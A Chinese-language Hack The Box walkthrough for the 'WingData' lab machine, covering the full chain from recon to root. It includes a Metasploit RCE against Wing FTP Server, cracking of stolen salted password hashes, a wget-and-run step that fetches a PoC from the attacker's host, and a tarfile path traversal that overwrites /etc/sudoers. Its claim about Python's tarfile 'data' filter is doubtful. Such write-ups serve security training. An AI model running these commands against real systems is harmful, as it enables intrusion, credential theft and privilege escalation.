WingData HTB 渗透测试完整攻略
本攻略详细记录了从信息收集到获取 root 权限的全过程每个步骤均相互关联环环相扣。攻击路径基于真实环境利用了两个关键 CVE 漏洞CVE-2025-47812Wing FTP Server 无认证 RCE和CVE-2025-4517备份脚本 tarfile 路径遍历提权。一、环境准备在开始之前确保已添加目标主机名与 IP 的映射后续所有命令均在 Kali Linux 上执行目标 IP 为10.129.4.8。echo 10.129.4.8 wingdata.htb ftp.wingdata.htb /etc/hosts其中wingdata.htb是主 Web 域名ftp.wingdata.htb是后续发现的虚拟主机。二、信息收集2.1 端口扫描使用 Nmap 快速扫描全端口识别开放的服务。nmap -p-65535 -T4 --min-rate1000 -sS -Pn 10.129.4.8结果PORT STATE SERVICE 22/tcp open ssh 80/tcp open http解读目标仅开放 22SSH和 80HTTP过滤了大量端口表明防火墙可能较为严格。2.2 Web 服务指纹识别访问主站点并获取响应头识别技术栈。curl -I http://wingdata.htb whatweb http://wingdata.htb -a 3关键信息服务器Apache/2.4.66 (Debian)jQuery 3.3.1、Bootstrap静态页面无交互功能初步判断主站点为纯静态网站攻击面有限。2.3 虚拟主机扫描使用 gobuster 对主域名进行虚拟主机枚举寻找其他 Web 应用。gobuster vhost -u http://wingdata.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -t 20 -o vhost.txt扫描发现一个重要的虚拟主机ftp.wingdata.htb其响应头中 Server 字段为Wing FTP Server(Free Edition)。这是完全不同的 Web 应用攻击面大幅增加。2.4 Wing FTP Server 信息收集访问http://ftp.wingdata.htb并提取版本信息。curl -s http://ftp.wingdata.htb/ -o wingftp_index.html grep -i version\|wing\|build\|release wingftp_index.html从页面中获取到版本号Wing FTP Server v7.4.3。同时注意到管理端口 5466 和内部 Web 客户端 8080 也在响应中有所体现但我们优先利用已知漏洞。三、漏洞利用Wing FTP Server RCE (CVE-2025-47812)Wing FTP Server v7.4.3 存在一个严重的空字节注入漏洞CVE-2025-47812攻击者可通过匿名账户绕过认证并注入 Lua 代码最终获取以wingftp用户运行的 shell。3.1 漏洞确认首先测试匿名登录是否启用curl -v -X POST http://ftp.wingdata.htb/loginok.html \ -d usernameanonymouspassword若响应中包含Set-Cookie: UID则说明匿名访问开启漏洞存在。3.2 Metasploit 利用最可靠的方式是使用 Metasploit 官方模块。msfconsole -q use exploit/multi/http/wingftp_null_byte_rce set RHOSTS ftp.wingdata.htb set RPORT 80 set LHOST 你的_Kali_IP set LPORT 5555 check run模块自动完成发送空字节注入载荷获取 Session Cookie通过触发 Session 文件执行 Lua 系统命令返回一个 Meterpreter shell成功后的 shell 权限为wingftp并非 root需要提权。3.3 进入系统 shell 并初步枚举shell id # 输出: uid1000(wingftp) gid1000(wingftp) groups1000(wingftp),... hostname # wingdata接下来全面收集系统信息为提权做准备。四、信息收集获取 wacky 用户凭证4.1 枚举 Wing FTP Server 配置与用户文件进入 Wing FTP Server 数据目录读取配置和用户数据。cd /opt/wftpserver/Data cat settings.xml从settings.xml中提取到关键信息管理员密码哈希2D35A8D420A697203D7C554A678F8119(MD5)启用密码加盐EnablePasswordSalting1/EnablePasswordSalting盐值SaltingStringWingFTP/SaltingString继续查看管理员账户文件cat /opt/wftpserver/Data/_ADMINISTRATOR/admins.xml获得管理员 admin 的 SHA-256 哈希加盐。最重要的一步列出所有 FTP 用户配置文件。ls /opt/wftpserver/Data/1/users/ cat /opt/wftpserver/Data/1/users/wacky.xml cat /opt/wftpserver/Data/1/users/maria.xml cat /opt/wftpserver/Data/1/users/steve.xml cat /opt/wftpserver/Data/1/users/john.xml每个用户文件中都包含一个Password字段均为 SHA-256 哈希且这些哈希均使用盐值WingFTP进行加盐格式sha256($pass.$salt)。4.2 密码破解提取 wacky 用户的哈希从 wacky.xml 中32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca在 Kali 上使用 hashcat 模式 1410 进行破解。echo 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP hash.txt hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt --force -O很快破解出密码!#7Blushing^*Bride5注意若 rockyou 未命中可尝试使用规则集如 best64.rule或更大的字典。由于盐已知破解效率很高。4.3 横向移动SSH 登录 wacky使用破解出的密码通过 SSH 登录系统用户 wacky。ssh wacky10.129.4.8 # 输入密码: !#7Blushing^*Bride5登录后立即获取 user flagcat ~/user.txt # 48a3f6f6ea8d0261226a27c06e190597五、权限提升CVE-2025-4517 – tarfile 路径遍历提权5.1 sudo 权限枚举sudo -l输出显示User wacky may run the following commands on wingdata: (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *这意味着 wacky 可以以 root 身份无密码执行该备份脚本且允许附加任意参数。5.2 脚本审计与漏洞分析阅读脚本内容cat /opt/backup_clients/restore_backup_clients.py核心代码段with tarfile.open(backup_path, r) as tar: tar.extractall(pathstaging_dir, filterdata)漏洞点脚本以 root 身份运行。filterdata在 Python 3.12 中不会对路径进行任何安全检查它完全信任 tar 包内的文件名。备份文件需放置在/opt/backup_clients/backups/目录下而该目录权限为drwxrwx---wacky 用户拥有写权限因此我们可以创建一个恶意的 tar 包内部包含指向/etc/sudoers的绝对路径文件或路径遍历条目解压时即可覆盖系统 sudoers 文件为 wacky 添加 NOPASSWD: ALL 规则。5.3 漏洞利用使用公开 PoCGitHub 上已有针对此场景的 PoCCVE-2025-4517直接使用可避免手动构造 tar 包。Kali 攻击机git clone https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData.git cd CVE-2025-4517-POC-HTB-WingData python3 -m http.server 80目标机wacky 会话cd /tmp wget http://Kali_IP/CVE-2025-4517-POC.py python3 /tmp/CVE-2025-4517-POC.pyPoC 脚本自动完成生成合法的备份文件名如backup_1234.tar。在 tar 包内放入恶意 sudoers 文件条目名称为/etc/sudoers或../../etc/sudoers利用路径遍历。将 tar 包复制到/opt/backup_clients/backups/。调用 sudo 执行备份脚本以 root 权限解压该 tar 包从而覆盖/etc/sudoers。5.4 获取 root 权限漏洞利用成功后/etc/sudoers已被修改wacky 获得无限制 sudo 权限。sudo /bin/bash id # uid0(root) gid0(root) groups0(root) cat /root/root.txtRoot flag 到手渗透完成。六、攻击链总结信息收集端口扫描 → 虚拟主机发现 → Wing FTP Server 版本识别。初始立足点利用 Wing FTP 匿名空字节注入 (CVE-2025-47812) 获得 wingftp 用户 shell。凭证窃取读取用户配置文件获取 wacky 加盐哈希并破解密码。横向移动SSH 以 wacky 登录获得 user flag。权限提升利用 sudo 脚本中 tarfile 的路径遍历漏洞 (CVE-2025-4517) 覆写 sudoers获取 root。本攻略展示了从外网 Web 应用漏洞到系统权限的完整攻击路径每一步都基于前一步的信息和权限环环相扣。关键在于充分的信息收集、精准的漏洞匹配以及对文件操作逻辑的深入审计。